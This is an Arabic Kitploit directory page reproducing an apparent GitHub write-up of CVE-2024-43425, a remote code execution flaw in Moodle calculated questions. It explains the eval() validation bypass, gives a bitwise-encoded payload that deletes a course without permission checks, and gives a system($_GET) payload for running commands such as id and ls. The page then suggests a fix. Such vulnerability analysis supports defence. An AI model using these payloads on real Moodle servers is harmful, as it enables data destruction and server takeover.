Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2024-43425 | Kitploit
أدوات/GitHubGitHub/tnot123/cve-2024-43425
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubtnot123/cve-2024-43425

cve-2024-43425

عرض المستودع
منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-43425

معلومات البرنامج:

اسم التطبيق: Moodle
إصدار البناء: moodle-4.4.1
الإصدارات المتأثرة: 4.4 إلى 4.4.1، 4.3 إلى 4.3.5، 4.2 إلى 4.2.8، 4.1 إلى 4.1.11 والإصدارات غير المدعومة سابقًا
رابط التحميل: moodle-4.4.1

الوصف والتأثير

يمكن للمهاجمين الذين لديهم صلاحية إنشاء أو تعديل الأسئلة في دورة تدريبية على Moodle إدخال بيانات خبيثة للأسئلة المحسوبة، والتي يمكن استغلالها لتنفيذ أوامر عشوائية على النظام الأساسي.

السبب الجذري

alt

تساعد الدالة qtype_calculated_find_formula_errors في ضمان صحة الصيغ المُدخلة في Moodle، وتمنع أخطاء بناء الجملة.

alt

يتم استبدال المتغيرات بالرقم 1.0، وتحويل الصيغة إلى أحرف صغيرة، وإزالة المسافات البيضاء.

alt

alt

يتم تنفيذ منطق التحقق الرئيسي عن طريق التكرار على الصيغة وتحديد التعبير الرياضي الأعمق على الجانب الأيسر، والذي يمكن تمييزه بعدم احتوائه على أقواس متداخلة. بعد ذلك، يُستبدل هذا التعبير بالرقم 1.0.

alt

أخيرًا، بعد ألا يُرجع التعبير النمطي أي نتائج تطابق إضافية، تُعتبر الصيغة صالحة إذا كانت تحتوي فقط على عوامل تشغيل أو أرقام آمنة، وتُمرَّر الصيغة الأصلية فقط إلى eval.
يتم التحقق من النتيجة عن طريق تمرير الصيغة إلى دالة php eval() بعد عملية تصفية غير مكتملة. توجد طريقتان لتجاوز منطق التحقق:

  1. يمكن استخدام قائمة الدوال الرياضية المسموح بها لبناء أسماء دوال عشوائية كسلاسل نصية باستخدام العمليات الحسابية على البتات (bitwise)، ويمكن استدعاؤها كدوال متغيرة عندما تليها أقواس. الطريقة الوحيدة المحددة لإضافة الأقواس الإلزامية هي استخدام استبدال المتغيرات المدمج، مما يسمح للمهاجم باستدعاء دوال عشوائية معرّفة في سياق Moodle مع تمرير وسيط رقمي واحد. يُكشف مخرَج الدالة للمهاجم.

alt

يتم استبدال العناصر النائبة للمتغيرات مثل {a} بقيمها محاطة بأقواس ()، فإذا أضفنا {a} إلى التعبير أعلاه المقابل لـ 'PRINTF'، ستكون النتيجة 'PRINTF'(1)، وبالتالي يمكن تعريف صيغة إجابة بجزأين: a (function_name) و a {variable}.
2) المتغيرات غير المعرّفة لا تُستبدل قبل تمريرها إلى دالة eval()، وبالتالي لا تخضع للتدقيق كجزء من الصيغة. بالإضافة إلى ذلك، فإن فحوصات سلامة أسماء المتغيرات أقل صرامة من الفحوصات المطبقة على جميع الأجزاء الأخرى من الصيغة. يمكن استغلال ذلك لاستدعاء دوال عشوائية عند استخدام صيغة php object->{"member"}.

خطوات إعادة الإنتاج

أنشئ سؤالًا محسوبًا بمتغير واحد، على سبيل المثال {a}

alt

احفظ السؤال واضبط نطاق قيمة المتغير بحيث يساوي تمامًا معرّف المقرر الدراسي (ID) وهو 3.

alt

احفظ السؤال، ثم عدّل التعبير إلى:

root@kitploit:~
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

سيؤدي حفظ السؤال المعدّل إلى ظهور خطأ، لكن السؤال سيُحفظ مع ذلك. عد إلى بنك الأسئلة وقم بمعاينة السؤال، وستقوم الدالة DELETE_COURSE بحذف المقرر الدراسي ذي المعرّف المحدد، متجاوزةً جميع فحوصات الأذونات.

alt

alt

تنفيذ الكود عن بُعد

أنشئ سؤالًا محسوبًا واضبط صيغة الإجابة إلى:

root@kitploit:~
(1)->{system($_GET[chr(97)])}

alt

يُعدَّل التعبير إلى 1-0-system($_GET{chr(97)})

alt

اعترض الطلب وأعد تعديله إلى (1)->{system($_GET[chr(97)])} %281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

alt

تظهر رسالة الخطأ exception-system():Argument#1($command) cannotbe empty

alt

أضف الأمر المطلوب عن طريق إضافة &a=[arbitrary command] إلى رابط URL. سيتم تضمين مخرجات أمر النظام المحدد في بداية استجابة HTTP الناتجة.
A=id

alt

A=ls

alt

التوصيات

عدّل دالة التعقيم qtype_calculated_find_formula_errors بحيث يُرجع /question/type/calculated/questiontype.php القيمة false دائمًا إذا لم تُستخدم الأسئلة المحسوبة.

تنزيل الأداة